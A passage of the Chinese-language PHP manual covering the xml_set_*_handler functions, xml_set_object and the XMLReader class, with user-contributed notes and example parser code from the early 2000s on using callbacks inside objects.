The start tag is left open, and then completed by it's first child, the next start tag or its end tag.  The end tag will complete with " />", or </tag> depending on the number of bytes between the start and end tags in the parsed data.
<?php
//$data=filepath or string
$data=<<<DATA
<normal_tag>
  <self_close_tag />
      data
  <normal_tag>data
     <self_close_tag attr="value" />
  </normal_tag>
      data
  <normal_tag></normal_tag>
</normal_tag>
DATA;

function startElement($parser, $name, $attrs)
{
        xml_set_character_data_handler($parser, "characterData");
        global $first_child, $start_byte;
        if($first_child)          //close start tag if neccessary
                echo "><br />";
        $first_child=true;
        $start_byte=xml_get_current_byte_index ($parser);
        if(count($attrs)>=1){
                foreach($attrs as $x=>$y){
                        $attr_string .= " $x=\"$y\"";
                }
        }
        echo htmlentities("<{$name}{$attr_string}"); //unclosed starttag
}

function endElement($parser, $name)
{
        global $first_child, $start_byte;
        $byte=xml_get_current_byte_index ($parser);
        if($byte-$start_byte>2){           //if end tag is more than 2 bytes from start tag
                if($first_child)          //close start tag if neccessary
                        echo "><br />";
                echo htmlentities("</{$name}>")."<br />";  //individual end tag
        }else
                echo " /><br />";  // self closing tag
        $first_child=false;

}

function characterData($parser, $data)
{
        global $first_child;
        if($first_child)  //if $data is first child, close start tag
                echo "><br />";
        if($data=trim($data))
                echo "<font color='blue'>$data</font><br />";
        $first_child=false;
}

function ParseData($data)
{
        $xml_parser = xml_parser_create();
        xml_set_element_handler($xml_parser, "startElement", "endElement");
        xml_parser_set_option($xml_parser,XML_OPTION_CASE_FOLDING,0);
        if(is_file($data))
        {
                if (!($fp = fopen($file, "r"))) {
                        die("could not open XML input");
                }

                while ($data = fread($fp, 4096)) {
                        if (!xml_parse($xml_parser, $data, feof($fp))) {
                                $error=xml_error_string(xml_get_error_code($xml_parser));
                               $line=xml_get_current_line_number($xml_parser);
                                die(sprintf("XML error: %s at line %d",$error,$line));
                        }
                }
        }else{
                if (!xml_parse($xml_parser, $data, 1)) {
                                $error=xml_error_string(xml_get_error_code($xml_parser));
                                $line=xml_get_current_line_number($xml_parser);
                                die(sprintf("XML error: %s at line %d",$error,$line));
                }
        }

        xml_parser_free($xml_parser);
}

ParseData($data);
?>
youniforever at naver dot com 30-Apr-2005 03:41
<html>
  <head>
    <title>SAX Demonstration</title>
   <META HTTP-EQUIV='Content-type' CONTENT='text/html; charset=euc-kr'>
  </head>
  <body>
    <h1>RSS ??????</h1>

      <?php

     $file = "data.xml";

      $currentTag = "";
      $currentAttribs = "";

      function startElement($parser, $name, $attribs)
      {
          global $currentTag, $currentAttribs;
          $currentTag = $name;

          $currentAttribs = $attribs;
          switch ($name) {

          default:
              echo("<b>&lt$name&gt</b><br>");
              break;
          }
      }

      function endElement($parser, $name)
      {
          global $currentTag;
          switch ($name) {
          default:
              echo("<br><b>&lt/$name&gt</b><br><br>");
              break;
          }
          $currentTag = "";
          $currentAttribs = "";
      }

      function characterData($parser, $data)
      {
          global $currentTag;
          switch ($currentTag) {
          case "link":
              echo("<a href=\"$data\">$data</a>\n");
              break;
          case "title":
              echo("title : $data");
              break;
          default:
              echo($data);
              break;
          }
      }

     $xmlParser = xml_parser_create();

      $caseFold = xml_parser_get_option($xmlParser,
                                        XML_OPTION_CASE_FOLDING);

      $targetEncoding = xml_parser_get_option($xmlParser,
                                              XML_OPTION_TARGET_ENCODING);

      if ($caseFold == 1) {
          xml_parser_set_option($xmlParser, XML_OPTION_CASE_FOLDING, false);
      }

      xml_set_element_handler($xmlParser, "startElement", "endElement");
      xml_set_character_data_handler($xmlParser, "characterData");

      if (!($fp = fopen($file, "r"))) {
          die("Cannot open XML data file: $file");
      }

     while ($data = fread($fp, 4096)) {
          if (!xml_parse($xmlParser, $data, feof($fp))) {
              die(sprintf("XML error: %s at line %d",
                          xml_error_string(xml_get_error_code($xmlParser)),
                          xml_get_current_line_number($xmlParser)));
              xml_parser_free($xmlParser);
          }
      }
      xml_parser_free($xmlParser);
      ?>
    </table>
  </body>
</html>
13-Mar-2005 01:34
In response to aw at avatartechnology dot com...
In response to landb at mail dot net...

When your functions are in an object:
Careful ! Don't forget to add: & (reference) to your parameters.

xml_set_element_handler($parser, array(&$this,"_startElement"), array(&$this,"_endElement"));
--> xmlparse will work on your object (good).

instead of:
xml_set_element_handler($parser, array($this,"_startElement"), array($this,"_endElement"));
---> xmlparse will work on a COPY of your object (often bad)

Vin-s
(sorry for my english)
aw at avatartechnology dot com 21-Oct-2004 08:40
In response to landb at mail dot net...

As the notes mention, you can pass an array that contains the reference to an object and a method name when you need... so you can call methods in your own class as handlers like this:

xml_set_element_handler($parser, array($this,"_startElement"), array($this,"_endElement"));

Hope it helps...
tj at tobyjoe dot com 31-Jan-2003 11:22
It seems that the tag handlers don't block on one another (the end handler is called whether or not the begin handler has finished). this can put you in a tight spot if you don't realize it while planning your app.
11-Oct-2001 04:09
You CAN use classes to parse XML. Just take a look at the following function:

xml_set_object
jg at jmkg dot net 07-May-2001 11:08
If you are using a class for xml parsing, and want to check the return value of xml_set_element_handler in case it  fails, you must do this outside of the class's constructor. Inside the constructor, PHP-4.0.5 will die.

Basically, put all your xml initialisation code in another function of the class, and keep it out of the constructor.


建立终止命名空间声明处理器

  • ? xml_set_element_handler
  • xml_set_external_entity_ref_handler ?
  • PHP Manual
  • XML 解析器函数
  • 建立终止命名空间声明处理器

xml_set_end_namespace_decl_handler

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

xml_set_end_namespace_decl_handler — 建立终止命名空间声明处理器

说明

xml_set_end_namespace_decl_handler ( resource $parser , callable $handler ) : bool

Set a handler to be called when leaving the scope of a namespace declaration. This will be called, for each namespace declaration, after the handler for the end tag of the element in which the namespace was declared.

参数

parser

A reference to the XML parser.

handler

handler is a string containing the name of a function that must exist when xml_parse() is called for parser.

The function named by handler must accept two parameters, and should return an integer value. If the value returned from the handler is FALSE (which it will be if no value is returned), the XML parser will stop parsing and xml_get_error_code() will return XML_ERROR_EXTERNAL_ENTITY_HANDLING.

handler ( resource $parser , string $prefix )
parser
The first parameter, parser, is a reference to the XML parser calling the handler.
prefix
The prefix is a string used to reference the namespace within an XML object.

If a handler function is set to an empty string, or FALSE, the handler in question is disabled.

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

注释

Note:

This event is not supported under LibXML.

参见

  • xml_set_start_namespace_decl_handler() - 建立起始命名空间声明处理器

User Contributed Notes

There are no user contributed notes for this page.


建立外部实体指向处理器

  • ? xml_set_end_namespace_decl_handler
  • xml_set_notation_decl_handler ?
  • PHP Manual
  • XML 解析器函数
  • 建立外部实体指向处理器

xml_set_external_entity_ref_handler

(PHP 4, PHP 5, PHP 7)

xml_set_external_entity_ref_handler — 建立外部实体指向处理器

说明

xml_set_external_entity_ref_handler ( resource $parser , callable $handler ) : bool

为 parser 参数指定的 XML 解析器建立外部实体指向处理器函数。

参数

parser

XML 解析器的引用，用于建立外部实体指向处理器。

handler

参数 handler 为表示函数名称的字符串，函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受五个参数，并应该返回一个整型值。如果处理器的返回值为 FALSE（这也是函数没有确定返回值时的返回值），XML 解析器将停止解析， xml_get_error_code() 函数将返回 XML_ERROR_EXTERNAL_ENTITY_HANDLING。

handler ( resource $parser , string $open_entity_names , string $base , string $system_id , string $public_id )
parser
第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。
open_entity_names
第二个参数 open_entity_names 是为该实体的解析开放的实体名列表（包括被指向的实体名），这些实体名由空格隔开。
base
这个参数是解析外部实体的系统标识符（system_id）的基础。当前该参数通常都被设置为空字符串。
system_id
第四个参数 system_id 是在实体定义声明中指定的系统标识符。
public_id
第五个参数 public_id 是在实体定义声明中指定的公共标识符，如果未指定任何标识符，则该字符串为空。公共标识符中的空格将按照 XML 的要求被正常化。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


建立注释声明处理器

  • ? xml_set_external_entity_ref_handler
  • xml_set_object ?
  • PHP Manual
  • XML 解析器函数
  • 建立注释声明处理器

xml_set_notation_decl_handler

(PHP 4, PHP 5, PHP 7)

xml_set_notation_decl_handler — 建立注释声明处理器

说明

xml_set_notation_decl_handler ( resource $parser , callable $handler ) : bool

为 parser 参数指定的 XML 解析器建立注释声明处理器函数。

注释声明是文档 DTD 的一部分，并有如下格式：

<!NOTATION <parameter>name</parameter>
{<parameter>system_id</parameter> | <parameter>public_id</parameter>}?>
。请参考 » XML 1.0 参考的第 4.7 节以了解注释声明的定义。

参数

parser

XML 解析器的引用，用于设置声明处理器函数。

handler

handler 为表示函数名称的字符串，函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受五个参数：

handler ( resource $parser , string $notation_name , string $base , string $system_id , string $public_id )
parser
第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。
notation_name
该参数为以上注释格式定义中的 name 参数。
base
这个参数是解析注释声明的系统标识符（system_id）的基础。当前该参数通常都被设置为空字符串。
system_id
外部注释声明的系统标识符。
public_id
外部注释声明的公共标识符。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


在对象中使用 XML 解析器

  • ? xml_set_notation_decl_handler
  • xml_set_processing_instruction_handler ?
  • PHP Manual
  • XML 解析器函数
  • 在对象中使用 XML 解析器

xml_set_object

(PHP 4, PHP 5, PHP 7)

xml_set_object — 在对象中使用 XML 解析器

描述

xml_set_object ( resource $parser , object &$object ) : pool

该函数使得 parser 指定的解析器可以被用在 object 对象中。所有的回叫函数（callback function）都可以由 xml_set_element_handler() 等函数来设置，它们被假定为 object 对象的方法。

Example #1 xml_set_object() 示例

<?php
class xml  {
    var $parser;

    function xml()
    {
        $this->parser = xml_parser_create();

        xml_set_object($this->parser, $this);
        xml_set_element_handler($this->parser, "tag_open", "tag_close");
        xml_set_character_data_handler($this->parser, "cdata");
    }

     function parse($data)
    {
        xml_parse($this->parser, $data);
    }

    function tag_open($parser, $tag, $attributes)
    {
        var_dump($parser, $tag, $attributes);
    }

    function cdata($parser, $cdata)
    {
        var_dump($parser, $cdata);
    }

    function tag_close($parser, $tag)
    {
        var_dump($parser, $tag);
    }

} // end of class xml

$xml_parser = new xml();
$xml_parser->parse("<A ID='hallo'>PHP</A>");
?>

User Contributed Notes

joey at gimo dot co dot uk 10-Aug-2016 10:32
This function seems to be of very limited use when [$object_instance, "method_name"] is a callable.
wake dot shinigami at gmail dot com 23-Nov-2005 08:28
I finally managed to get xml_set_object() to work, after much documentation searching.  As the solution I found has been hinted at, the focus has been wrong.

There have been many problems getting class contained XML parsers to make changes to the members of an instance.  This is because, from what I'm guessing, the functions are using a either a new annonymous instance of the class or an uninstanced version of the class.

What we want to make sure it does it that the parser is accessing its handlers as member methods of a particular instance of a class.  This can be done using the array method for passing a callback, setting the object as a reference to this instance.  This way, you know that the parser is going to call the function properly.

Ex:
<?php
class Parser {

 private $parser;
 private $data;

 public function __construct() {
  $this->parser = NULL;
  $this->data = '';
 }

 private function ParseElementStart($parser, $name, $attrs) {
  // Code
 }
 private function ParseElementEnd($parser, $name) {
  // Code
 }

 public function Parse($XMLdata) {
  $this->parser = xml_parser_create();
  xml_set_object($this->parser, $this);
  xml_set_element_handler($this->parser,
                          array(&$this, 'ParseElementStart'),
                          array(&$this, 'ParseElementEnd'));
  xml_parse($this->parser, $XMLdata);
  xml_parser_free($this->parser);
 }
}
?>

With this, when you call the Parse method, the data in that instance can be modified.  I'm not sure if xml_set_object becomes unneccissary when using the array callbacks, but I leave it in just to make sure that the xml_parse function knows it's in the object.

As above, I'd recommend for memory sake, that the XML parser be created, used, and freed all in the same function, to ensure that everything is cleaned up correctly.
bettmenn at gmx dot de 16-Oct-2004 02:03
Adding to 'lmfe at mega dot ist dot utl dot pt' contribution below, I have to say that this behaviour is very usual for PHP if MemberVars of an Object arent initialized from the constructor.
What worked best for me so far was something like this:
<?php
class foo {
  var $bar
  // the constructor
  function foo() {
    unset($this->bar);  // with every instanciation, the variable is cleared for the object
  }
}
?>
lmfe at mega dot ist dot utl dot pt 29-Sep-2004 10:51
Using PHP 4.3.0, I got this strange behaviour:

<?php
class xml  {

     /* (as specified in the documentation above) */

} // end of class xml

/* This code works */
$xml_parser = new xml();
$xml_parser->parse("<A ID='hallo'>PHP</A>");

/* This code works */
$xml_parser2 = new xml();
$xml_parser2->parse("<A ID='hallo2'>PHP2</A>");

/* This code DON'T work */
$xml_parser = new xml();
$xml_parser->parse("<A ID='hallo3'>PHP3</A>");
?>

In the third block of code, php complains it can't find the handlers it needs.
It seems this problem only happens if the variable is used more than once.
Calling xml_parser_free doesn't help
hwheinzen at t-online dot de 14-Aug-2004 03:38
(Adding to zitan's note)
It seems easy enough to provide output functions for callback handler classes too.

Example:

<?php
class CallBack {
    var $name = 'Callback';
    var $info = 'Information!';
    function toString() {
        return $this->name.': '.$this->info;
    }
}
class Main {
    var $name = 'Main';
    var $callBackObject;
    function setCallBack(&$cBIn) { $this->callBackObject = $cBIn; }
    function toString() {
        return $this->name.': '.$this->callBackObject->toString();
    }
}

$cb = & new CallBack;
$m = & new Main;
$m->setCallBack(&$cb);
echo $cb->toString();
echo $m->toString();
?>

So, after collecting information during the parse operation within the callback handler class, e.g. in tag_close(), retrieving them is possible.
zitan at mediasculpt dot net 01-Sep-2003 09:05
Just a note about creating abstract "call back handlers" as mentioned in some of the other notes.  In this case I recommend extending the base XML class and overwritting the handler methods.  The reason I wanted to do this, is that if you have a separate callback method class it causes problems, for example if you want to collect information out of the XML file and store it in an array.  You can get around it with global variables, but I prefer to use them only when required ;)

Example:

<?php
class xml_output extends xml{

  var $output = array();

   function xml_output(){
    $this->xml();
   }

    //overwrite base methods
    function tag_open($parser, $tag, $attributes)
    {
        array_push($this->output, "<$tag, attributes>");
    }

    function cdata($parser, $cdata)
    {
         array_push($this->output, "$cdata");
    }

    function tag_close($parser, $tag)
    {
         array_push($this->output, "</$tag>");
    }

}

$xml_parser = & new xml_output();
$xml_parser->parse("<A ID='hallo'>PHP</A>");
echo("$xml_parser->output");
?>
sbeam at syxyz dot net 12-Nov-2002 09:34
passing the object as a call-time ref (&$this) as in the example will create a warning in php 4.1+. Pass xml_set_object($xp,$this); instead. This does not seem to break anything - but I dont know for sure.
chiefgeek at ecodedesign.com 04-Aug-2002 10:37
Just adding a little note about my above written example.  It needs some improvements.

Because PHP passes by VALUE by default, when you pass an array like this:
array($callback_handler, 'handler_method')
PHP makes a copy of the callback_handler object and uses the handler_method in the copy.

This is not an ideal situation for many reasons...which I will not get into here...but you should have an idea by now.

The best way to fix this is to change a few things. In the function declaration change the parameter from $callback_handler to &$callback_handler. So now your declaration should look like this

function set_callback_handler(&$callback_handler)
{
  ...
}

Now each time you reference $callback_handler change it to &$callback_handler.  For example:

xml_set_element_handler(
          $this->xml_parser,
          array(&$callback_handler, 'start_element'),
          array(&$callback_handler, 'close_Element' ));

This ensures that PHP will always use the same object.
chiefgeek at ecodedesign.com 03-Aug-2002 08:25
xml_set_object is great, if you want to hard code your start_element, end_element, etc functions within your xml class.

But what if you want to increase the modularity of your application?

Solution, create one generic XMLParser class that handles everything *except* the callback funtions.  Then create an abstract XMLCallbackHandler class which you can extend to provide any customization you want.

So how do you tell the php's xml_parser that you want to use this other class to handle the callback functions.

xml_set_object?  This only works if the functions are *within* the object you called this method from.

The solution lies in the xml_set_element_handler() function.
Take a look at this sample source...

class XMLParser
{

  ...

  function set_callback_handler($callback_handler)
  {
    // Assign the startElement endElement functions
    xml_set_element_handler(
          $this->xml_parser,
          array($callback_handler, 'start_element'),
          array($callback_handler, 'close_Element' ));

    /* By passing an array with this ($object, 'function_name') structure
       to the 2nd and 3rd parameters.  We are able to tell the parser to
       look in another object for these callback functions.
    */

    // Assign the character data function
    xml_set_character_data_handler(
          $this->xml_parser,
          array($callback_handler, 'character_data'));
    }
}

class myCallBackHandler
{
  function start_element(...)
  {
    //code goes here
  }

  function end_element(...)
  {
    //code goes here
  }

  function character_data(...)
  {
    //code goes here
  }
}

Now all thats left to do is use these classes..

$parser = new XMLParser();
$parser->set_callback_handler(new myCallbackHandler());
dfoesch at cs dot nmsu dot edu 12-Apr-2002 05:38
English explaination of why you do: $xml = & new xml();

Ok, when PHP executes "new xml()" it creates an anonymous variable (one that you can't reference with any name) which it then runs the constructor function on.  Ok, now once that's done, it then assigns by VALUE in the example above.  This means that that lovely pointer to your parser is pointing to the anonymous instance of your class, and not the used instance of your class... thus making a "shadow" of all your variables, where assignments inside the parser access different variables than outside the parser.  What PHP _SHOULD_ be doing (similar to C++) is have this statement execute such that the assignment is done by REFERENCE, so that you assign the new name to the class that actually got constructed, and not just a copy of the class that you constructed.

If they did it right, this code wouldn't be broken.
14-Feb-2002 11:10
Call-time pass-by-reference has been deprecated, so the example is buggy as was already mentionned. However since 4.04 (I think) "new" can return objects by reference. So the clean way to have both the parser initialised in the constructor, and to save the result in your object is to do

$xml_parser = & new xml();

see http://www.php.net/manual/en/language.oop.newref.php

Ivan
pete dot nelson at serverSXPYAZMsolved dot com 27-Aug-2001 10:15
<p>in reply to jon9mm's question, I have found the same problem (function 'startElement' does not exist).  I finally found the way around this, by re-reading this doc for xml_set_object.  You HAVE to use the xml_set_object($this->parser, &$this) within your parser function.</p> <p>When that function is called, your object temporarily becomes the parser object and shares scope (so it can see 'startElement', etc).   Once that function is done, the xml_set_object(...) call goes out of scope, and your object is no longer bound to the parser.  So the simplist solution is to call xml_set_object(...), do any parsing, and then call xml_parser_free(...) all within the same function.</p>
<p>And remember, don't call xml_set_object(...) in your object's constructor - your object will be forever bound to the parser object and you'll loose all access to your object's member functions.</p>
<p>This is all explained in the examples above, but it took me reading it a couple of times to grok how it all works.</p>
nick at category4 dot com 14-May-2001 01:45
If you're using the XML parser within an object, be careful not to accidentally call any methods that don't exist within the object. Instead of complaining that the missing method doesn't exist, PHP will say it's not able to find the handler routines, even if you've indicated them correctly. (PHP version 4.0.5 on FreeBSD).
williams at cse dot unl dot edu 06-Dec-2000 12:42
If xml_set_object is not called in the constructor of an object, the values that the parser modifies will be saved. Else, the values do not seem to be saved as stated by "i_sofer" above.
--- Start Example Code ---
class foo {
var xmlparser;
function foo() { \\the constructor
$this->xmlparser=xmlparser_create();
}
function parse() {
xml_set_object($this->xmlparser,&$this);
\\also include data handler
\\and element handlers here
}
}
--- End Example Code ---
i_sofer at yahoo dot com 18-Nov-2000 04:15
Using xml parser in objects seem to have a problem that values modified(even of the object itself) get lost as soon as parsing ends...
malcontent at msgto dot com 20-Aug-2000 12:11
The example will generate a warning unless allow_call_time_pass_reference is set to true in your INI file. It also will not accept a call by value.
robert at webmotion dot com 18-Apr-2000 10:58
While true that there is no automatic destructor for PHP class objects, it is quite simple to create a method called destroy and perform the destruction manually. In the example above it may not be necessary to free the xml parser immediately... it would appear from the example that the object is re-useable.


建立处理指令（PI）处理器

  • ? xml_set_object
  • xml_set_start_namespace_decl_handler ?
  • PHP Manual
  • XML 解析器函数
  • 建立处理指令（PI）处理器

xml_set_processing_instruction_handler

(PHP 4, PHP 5, PHP 7)

xml_set_processing_instruction_handler — 建立处理指令（PI）处理器

说明

xml_set_processing_instruction_handler ( resource $parser , callable $handler ) : bool

为 parser 参数指定的 XML 解析器建立处理指令（PI）处理器函数。

处理指令有如下格式：

<?
target data
?>
您可以将 PHP 代码放置在类似的标识符中，但要注意一个限制：在 XML 处理指令（PI）中，PI 的终止符（?>）不能被引号引用，因此该字符序列不应该在您用 PI 嵌入到 XML 文档中的 PHP 代码中出现。否则，剩下的 PHP 代码，包括"真正"的 PI 终止符将被当作字符数据处理。

参数

parser

XML 解析器的引用，用于建立处理指令（PI）处理器。

handler

参数 handler 为表示函数名称的字符串，函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受三个参数：

handler ( resource $parser , string $target , string $data )
parser
第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。
target
第二个参数 target 为 PI 对象（PI target）。
data
第三个参数 data 包含了 PI 数据。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


建立起始命名空间声明处理器

  • ? xml_set_processing_instruction_handler
  • xml_set_unparsed_entity_decl_handler ?
  • PHP Manual
  • XML 解析器函数
  • 建立起始命名空间声明处理器

xml_set_start_namespace_decl_handler

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

xml_set_start_namespace_decl_handler — 建立起始命名空间声明处理器

说明

xml_set_start_namespace_decl_handler ( resource $parser , callable $handler ) : bool

Set a handler to be called when a namespace is declared. Namespace declarations occur inside start tags. But the namespace declaration start handler is called before the start tag handler for each namespace declared in that start tag.

参数

parser

A reference to the XML parser.

handler

handler is a string containing the name of a function that must exist when xml_parse() is called for parser.

The function named by handler must accept three parameters, and should return an integer value. If the value returned from the handler is FALSE (which it will be if no value is returned), the XML parser will stop parsing and xml_get_error_code() will return XML_ERROR_EXTERNAL_ENTITY_HANDLING.

handler ( resource $parser , string $prefix , string $uri )
parser
The first parameter, parser, is a reference to the XML parser calling the handler.
prefix
The prefix is a string used to reference the namespace within an XML object.
uri
Uniform Resource Identifier (URI) of namespace.

If a handler function is set to an empty string, or FALSE, the handler in question is disabled.

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • xml_set_end_namespace_decl_handler() - 建立终止命名空间声明处理器

User Contributed Notes

There are no user contributed notes for this page.


建立未解析实体定义声明处理器

  • ? xml_set_start_namespace_decl_handler
  • XMLReader ?
  • PHP Manual
  • XML 解析器函数
  • 建立未解析实体定义声明处理器

xml_set_unparsed_entity_decl_handler

(PHP 4, PHP 5, PHP 7)

xml_set_unparsed_entity_decl_handler — 建立未解析实体定义声明处理器

说明

xml_set_unparsed_entity_decl_handler ( resource $parser , callable $handler ) : bool

为 parser 参数指定的 XML 解析器建立未解析实体定义声明处理器函数。

当 XML 解析器遇到如下含有 NDATA 声明的外部实体定义声明时，该 handler 处理器将被调用：

<!ENTITY <parameter>name</parameter> {<parameter>publicId</parameter> | <parameter>systemId</parameter>}
        NDATA <parameter>notationName</parameter>

请参阅 » XML 1.0 参考的第 4.2.2 节以获取有关已声明外部实体注释定义的信息。

参数

parser

XML 解析器的引用，用于建立未解析实体定义声明处理器。

handler

参数handler 为表示函数名称的字符串，这个函数必须在为 parser 指定的解析器调用 xml_parse() 函数时已存在。

由 handler 参数命名的函数名必须接受六个参数：

handler ( resource $parser , string $entity_name , string $base , string $system_id , string $public_id , string $notation_name )
parser
第一个参数 parser 为指向要调用处理器的 XML 解析器的指针。
entity_name
将被定义的实体名。
base
这个参数是解析外部实体的系统标识符（system_id）的基础。当前该参数通常都被设置为空字符串。
system_id
外部实体的系统标识符。
public_id
外部实体的公共标识符。
notation_name
该实体的注释名（请参阅 xml_set_notation_decl_handler()）。

如果处理器函数名被设置为空字符串或者 FALSE，则该有问题的处理器将被屏蔽。

Note: 除了函数名，含有对象引用的数组和方法名也可以作为参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

User Contributed Notes

There are no user contributed notes for this page.


XMLReader

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • XMLReader — The XMLReader class
    • XMLReader::close — Close the XMLReader input
    • XMLReader::expand — Returns a copy of the current node as a DOM object
    • XMLReader::getAttribute — Get the value of a named attribute
    • XMLReader::getAttributeNo — Get the value of an attribute by index
    • XMLReader::getAttributeNs — Get the value of an attribute by localname and URI
    • XMLReader::getParserProperty — Indicates if specified property has been set
    • XMLReader::isValid — Indicates if the parsed document is valid
    • XMLReader::lookupNamespace — Lookup namespace for a prefix
    • XMLReader::moveToAttribute — Move cursor to a named attribute
    • XMLReader::moveToAttributeNo — Move cursor to an attribute by index
    • XMLReader::moveToAttributeNs — Move cursor to a named attribute
    • XMLReader::moveToElement — Position cursor on the parent Element of current Attribute
    • XMLReader::moveToFirstAttribute — Position cursor on the first Attribute
    • XMLReader::moveToNextAttribute — Position cursor on the next Attribute
    • XMLReader::next — Move cursor to next node skipping all subtrees
    • XMLReader::open — Set the URI containing the XML to parse
    • XMLReader::read — Move to next node in document
    • XMLReader::readInnerXml — Retrieve XML from current node
    • XMLReader::readOuterXml — Retrieve XML from current node, including itself
    • XMLReader::readString — Reads the contents of the current node as a string
    • XMLReader::setParserProperty — Set parser options
    • XMLReader::setRelaxNGSchema — Set the filename or URI for a RelaxNG Schema
    • XMLReader::setRelaxNGSchemaSource — Set the data containing a RelaxNG Schema
    • XMLReader::setSchema — Validate document against XSD
    • XMLReader::XML — Set the data containing the XML to parse

User Contributed Notes

kraussInode at yahoo dot com 27-Mar-2010 12:54
See also XMLWriter: XMLReader and XMLWriter complement each other.


简介

The XMLReader extension is an XML Pull parser. The reader acts as a cursor going forward on the document stream and stopping at each node on the way.

编码

It is important to note that internally, libxml uses the UTF-8 encoding and as such, the encoding of the retrieved contents will always be in UTF-8 encoding.

User Contributed Notes

There are no user contributed notes for this page.


安装

The XMLReader extension was initially a PECL extension for PHP 5. It was later moved to the PHP source (bundled) as of PHP 5.1.0, and later enabled by default as of PHP 5.1.2.

此扩展默认为启用,编译时可通过下列选项禁用： --disable-xmlreader

User Contributed Notes

Miguel Cruz 11-Jun-2012 01:06
If you are having trouble loading this extension (perhaps with a log message like 'Undefined symbol "dom_node_class_entry"'), make sure that you have xmlreader.so listed AFTER dom.so in php.ini.
alvaro at digdib dot com 02-Jan-2009 02:33
Gentoo users: emerge does not compile dev-lang/php with --enable-xmlreader by default. To enable this option, add the flag xmlreader to your USE variable and recompile php.


The XMLReader class

(PHP 5 >= 5.1.0, PHP 7)

简介

The XMLReader extension is an XML Pull parser. The reader acts as a cursor going forward on the document stream and stopping at each node on the way.

类摘要

XMLReader {
/* 常量 */
const int NONE = 0 ;
const int ELEMENT = 1 ;
const int ATTRIBUTE = 2 ;
const int TEXT = 3 ;
const int CDATA = 4 ;
const int ENTITY_REF = 5 ;
const int ENTITY = 6 ;
const int PI = 7 ;
const int COMMENT = 8 ;
const int DOC = 9 ;
const int DOC_TYPE = 10 ;
const int DOC_FRAGMENT = 11 ;
const int NOTATION = 12 ;
const int WHITESPACE = 13 ;
const int SIGNIFICANT_WHITESPACE = 14 ;
const int END_ELEMENT = 15 ;
const int END_ENTITY = 16 ;
const int XML_DECLARATION = 17 ;
const int LOADDTD = 1 ;
const int DEFAULTATTRS = 2 ;
const int VALIDATE = 3 ;
const int SUBST_ENTITIES = 4 ;
/* 属性 */
public readonly int $attributeCount ;
public readonly string $baseURI ;
public readonly int $depth ;
public readonly bool $hasAttributes ;
public readonly bool $hasValue ;
public readonly bool $isDefault ;
public readonly bool $isEmptyElement ;
public readonly string $localName ;
public readonly string $name ;
public readonly string $namespaceURI ;
public readonly int $nodeType ;
public readonly string $prefix ;
public readonly string $value ;
public readonly string $xmlLang ;
/* 方法 */
public close ( void ) : bool
public expand ([ DOMNode $basenode ] ) : DOMNode
public getAttribute ( string $name ) : string
public getAttributeNo ( int $index ) : string
public getAttributeNs ( string $localName , string $namespaceURI ) : string
public getParserProperty ( int $property ) : bool
public isValid ( void ) : bool
public lookupNamespace ( string $prefix ) : string
public moveToAttribute ( string $name ) : bool
public moveToAttributeNo ( int $index ) : bool
public moveToAttributeNs ( string $localName , string $namespaceURI ) : bool
public moveToElement ( void ) : bool
public moveToFirstAttribute ( void ) : bool
public moveToNextAttribute ( void ) : bool
public next ([ string $localname ] ) : bool
public open ( string $URI [, string $encoding [, int $options = 0 ]] ) : bool
public read ( void ) : bool
public readInnerXml ( void ) : string
public readOuterXml ( void ) : string
public readString ( void ) : string
public setParserProperty ( int $property , bool $value ) : bool
public setRelaxNGSchema ( string $filename ) : bool
public setRelaxNGSchemaSource ( string $source ) : bool
public setSchema ( string $filename ) : bool
public xml ( string $source [, string $encoding [, int $options = 0 ]] ) : bool
}

属性

attributeCount

The number of attributes on the node

baseURI

The base URI of the node

depth

Depth of the node in the tree, starting at 0

hasAttributes

Indicates if node has attributes

hasValue

Indicates if node has a text value

isDefault

Indicates if attribute is defaulted from DTD

isEmptyElement

Indicates if node is an empty element tag

localName

The local name of the node

name

The qualified name of the node

namespaceURI

The URI of the namespace associated with the node

nodeType

The node type for the node

prefix

The prefix of the namespace associated with the node

value

The text value of the node

xmlLang

The xml:lang scope which the node resides

预定义常量

XMLReader Node Types

XMLReader::NONE

No node type

XMLReader::ELEMENT

Start element

XMLReader::ATTRIBUTE

Attribute node

XMLReader::TEXT

Text node

XMLReader::CDATA

CDATA node

XMLReader::ENTITY_REF

Entity Reference node

XMLReader::ENTITY

Entity Declaration node

XMLReader::PI

Processing Instruction node

XMLReader::COMMENT

Comment node

XMLReader::DOC

Document node

XMLReader::DOC_TYPE

Document Type node

XMLReader::DOC_FRAGMENT

Document Fragment node

XMLReader::NOTATION

Notation node

XMLReader::WHITESPACE

Whitespace node

XMLReader::SIGNIFICANT_WHITESPACE

Significant Whitespace node

XMLReader::END_ELEMENT

End Element

XMLReader::END_ENTITY

End Entity

XMLReader::XML_DECLARATION

XML Declaration node

XMLReader Parser Options

XMLReader::LOADDTD

Load DTD but do not validate

